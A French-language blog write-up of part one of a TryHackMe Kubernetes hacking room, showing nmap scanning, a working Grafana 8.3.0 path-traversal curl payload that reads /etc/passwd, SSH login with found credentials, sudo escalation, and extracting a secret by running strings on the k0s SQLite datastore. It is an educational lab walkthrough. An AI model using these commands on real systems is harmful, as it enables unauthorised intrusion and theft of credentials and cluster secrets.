Skip to content

Je hack un cluster kubernetes – Partie 1

J’avouuuuuue que j’ai peut-être un peu abusé sur titre mdr. Mais maintenant que vous êtes là, laissez-moi vous expliquer ! 

En passant la CKA (article dispo ici au passage), je me suis dit qu’il serait intéressant de maîtriser non seulement l’usage de K8S, mais aussi les risques de sécurité qu’il peut présenter. Alors quoi de mieux que de se mettre dans la peau d’un H4CK3R
Pour ça, j’ai trouvé une Room sur TryHackMe :

A kubernetes hacking challenge for DevOps/SRE enthusiasts

Ça sonne bien ça non ? Allez, on met notre capuche (parce-que oui, les vrais hackers mettent leur capuches) et au boulot !

Je ne détaillerai pas le fonctionnement de TryHackMe. Ce n’est pas le but de l’article. Mais vous trouverez tout ce qu’il faut ici

Let’s go ! 💪

Task 1 : Access the cluster

Ok, la première tâche nous demande d’accéder au cluster et de trouver un username/password. Nous n’avons aucune information pour le moment. Je vous propose de lancer un scan nmap :

$ nmap -sC -sV -oN nmap/nmap.init 10.10.38.71
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
111/tcp  open  rpcbind 2-4 (RPC #100000)
3000/tcp open  ppp?
5000/tcp open  upnp?

Nous avons plusieurs ports ouverts. On va commencer par inspecter les ports 3000 et 5000. Le port 3000 est une instance Grafana en 8.3.0.

Le port 5000, lui, est un petit jeu en javascript :

Regardons si la version de Grafana a un exploit public avec une rapide recherche sur internet.

Boom 💥, en tapant *grafana 8.3.0 exploit* sur votre moteur de recherche préféré, on tombe rapidement sur un article detaillant cette faille.: 

A présent, déroulons la procédure et confirmons que nous sommes bel et bien en v8.3.0 :

$ curl http://10.10.38.71:3000/login | grep "Grafana v"

[...SNIP...]"subTitle":"Grafana v8.3.0
(914fcedb72)","icon":"questioncircle","url":"#","sortWeight":-100}],

C’est confirmé ! Essayons la commande de path traversal qui nous est donné dans l’article:

$ curl --path-as-is http://10.10.38.113:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/ash
[..SNIP..]
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:hereiamatctf907:/home/grafana:/sbin/nologin

Nous pouvons effectivement lire des fichiers (ici la liste des utilisateurs) ! Voyons voir si on peut avoir des infos plus croustillantes dans la configuration Grafana.

Je ne vais pas vous faire l’énumération ici, mais je n’ai rien trouvé d’intéressant 🙁

Regardons maintenant le port 5000. Peut-être qu’il y a quelque chose à faire !En regardant le code source, on voit deux fichiers : main.css et script.js.  Dans le fichier CSS on trouve un lien qui renvoie vers pastebin :

/* @import url("https://pastebin.com/cPs69B0y"); */

Si on se rend sur ce dernier, on a une chaîne qui semble être encodée (OZQWO4TBNZ2A====). 

On peut essayer de la décoder avec Cyberchef :

Avec l’opération “magic” on obtient vagrant, un potentiel username ?? 🤔

Pour ce qui est du password je ne vous cache pas que j’ai biiiiiiiien galéré, c’était un peu du “guessing”…

Le champ gecos du user grafana que l’on peut voir dans le fichier /etc/passwd baaaaah… c’est ça… le mot de passe :’) D’ailleurs, pour ceux comme moi qui ne connaissent pas ce champ, en gros c’est utilisé pour stocker des informations supplémentaires sur l’utilisateur. 

A présent, il ne nous reste plus qu’à essayer de nous connecter en SSH avec la combinaison user/password que l’on vient de trouver :

$ ssh vagrant@10.10.38.113
[..SNIP..]
vagrant@10.10.38.113's password: hereiamatctf907
vagrant@johnny:~$

Nous avons enfin un pied dans la machine, passons à la suite ! 💪

Task 2 : Your Secret Crush

Apparemment, on doit trouver un secret. Je vais commencer par faire une énumération avec LinPeas

Voici ce que j’ai trouvé d’intéressant :

Groupsudo, lxd, docker
Sudo Privileges(ALL) NOPASSWD: ALL
Process running (ici k0s) /var/lib/k0s/bin/kine
— endpoint=sqlite:///var/lib/k0s/db/state.db
Fichiers executables/usr/local/bin/k0s
Logs intéressantsFeb 10 18:55:15 vagrant sudo: root :
TTY=unknown ;
PWD=/home/vagrant ;
USER=root ;
COMMAND=/usr/local/bin/k0s kubectl create -f secret.yaml

Feb 10 18:55:15 vagrant sudo: root :
TTY=unknown ;
PWD=/home/vagrant ;
USER=root ;
COMMAND=/usr/local/bin/k0s kubectl create ns internship


Vu que l’on nous demande de trouver un secret, je pense qu’il peut être judicieux de regarder du côté de k0s (et puis vu le thème de la room, ça ne me semble pas être une mauvaise idée…)

On peut commencer par trouver le fichier secret.yaml. Mais avant, on a vu que l’on pouvait trèèèès facilement passer root avec un simple sudo su (merci le (ALL) NOPASSWD: ALL). Maintenant, faisons la commande find pour tenter de trouver le fichier qui a potentiellement servi à créer le secret :

$ find / -type f -name "secret.yaml" 2>/dev/null

ça n’a rien donné 😢, essayons de lister les secrets ?

$ sudo k0s kubectl get secret
The connection to the server localhost:6443 was refused - did you specify the right host or port?

Mmmmh, chelou, on obtient ce message… Regardons si le port 6443 est en écoute :

$ ss -nltpu|grep 6443

Non, ce port n’est pas en écoute… Pas grave, on va l’ouvrir, on active le firewall, avec ufw enable (dans le doute j’ai ouvert tout le trafic entrant et sortant sur l’interface eth0 sur le port 22)

$ ufw allow 6443/tcp
$ ufw allow 22/tcp
$ ufw allow in on eth0 to any
$ ufw allow out on eth0 to any

On active le firewall, avec ufw enable (dans le doute j’ai ouvert tout le trafic entrant et sortant sur l’interface eth0 sur le port 22). J’ai également redémarré k0s avec k0s stop et k0s start

A présent j’ai bien mon port 6443 ouvert :

$ ss -nltpu|grep 6443

tcp   LISTEN  6       128                         *:6443                *:*      users:(("kube-apiserver",pid=2863,fd=7))`

Mais k0s semble dans les choux, il est extrêmement long et je n’ai plus de retour sur les commandes k0s status

On ne va pas se laisser abattre, j’ai un plan B ! En regardant dans la doc k0s j’ai vu que l’on pouvait faire des backups. Ces derniers comprennent tout ce qu’il faut pour restaurer le cluster :

  • certificates (the content of the <data-dir>/pki directory)
  • etcd snapshot, if the etcd datastore is used
  • Kine/SQLite snapshot, if the Kine/SQLite datastore is used
  • k0s.yaml
  • any custom defined manifests under the <data-dir>/manifests
  • any image bundles located under the <data-dir>/images
  • any helm configuration

Du coup, si l’on restaure tout ça sur un cluster que l’on contrôle à 100% est-ce que ça pourrait le faire ? J’en sais rien, mais j’ai bien envie de le savoir !

Commençons par installer k0s. On va juste vérifier la version, histoire d’installer la même :

vagrant@johnny:~$ sudo k0s version
v1.23.3+k0s.0

Ok, nous sommes en v1.23.3+k0s.0

Sur ma machine en local, on va faire la commande suivante pour l’installation :

$ curl -sSLf https://get.k0s.sh | sudo K0S_VERSION=v1.23.3+k0s.0 sh

Je ne vais pas vous faire attendre pour rien… c’est un nouvel échec, ça n’a rien donné… 😭

Je vous avoue, qu’à ce stade, j’étais un peu désespéré. Je me suis avoué vaincu et j’ai regardé le write-up. Je vois que je n’ai pas DU TOUT le même scénario et que le cluster k0s est dans les choux alors qu’il ne devrait pas. En voyant ça, j’ai arrêté la Room, tant pis. Elle n’est plus fonctionnelle…

Après plusieurs mois, retournement de situation !!!! Je tombe sur ce replay de Devoxx France 2024 “Beyond the Pod: Privilege Escalation in Kubernetes”. Durant ce talk Patrycja Wegrzynowicz nous montre plusieurs techniques de privilege escalation sur Kube. 😍

Et à un moment, 33min44 pour être (très) précis, Patrycja utilise la commande strings pour afficher le contenu ETDC. Et là, ça fait tilt ! C’est ça qu’il faut que je fasse ! Du coup, je me suis remis sur la room ! On essaie ?

$ sudo strings /var/lib/k0s/db/state.db | grep registry/secrets
[..SNIP..]
/registry/secrets/default/k8s.authentication
/registry/secrets/kube-system/horizontal-pod-autoscaler-token-h6qr6
/registry/secrets/kube-system/generic-garbage-collector-token-q2m67
/registry/secrets/kube-system/expand-controller-token-6lsd6
/registry/secrets/kube-system/ephemeral-volume-controller-token-md4tn
[..SNIP..]

Avec le write-up (oui, on a un peu triché, mais c’est pour la bonne cause, promis) on sait que le secret que l’on doit trouver est secrets/default/k8s.authentication. Maintenant, il faut voir son contenu. Pour ça rien de plus simple, on fait un grep sur k8s.authentication en affichant environ 10 lignes de plus après le match :

$ sudo strings /var/lib/k0s/db/state.db | grep -A10 k8s.authentication
[..SNIP..]
/registry/secrets/default/k8s.authenticationk8s
Secret
k8s.authentication
default"
*$416e4783-03a8-4f92-8e91-8cbc491bf7272
kubectl-create
Update
FieldsV1:+
){"f:data":{".":{},"f:id":{}},"f:type":{}}B
THM{REDACTED}
Opaque
x/registry/daemonsets/kube-system/kube-router
apps/v1
[..SNIP..]

Ettttt bingooooooo, on arrive à chopper le FLAG ! 🥳

Je vous avoue que j’étais hyper content d’avoir réussi à détourner le chemin initial ahah 👌

Du coup, ça m’a clairement remotivé à terminer ce challenge une bonne fois pour toute !! Alors on se donne rendez-vous la semaine pro pour la partie 2 ?

Published inNon classé

Comments are closed.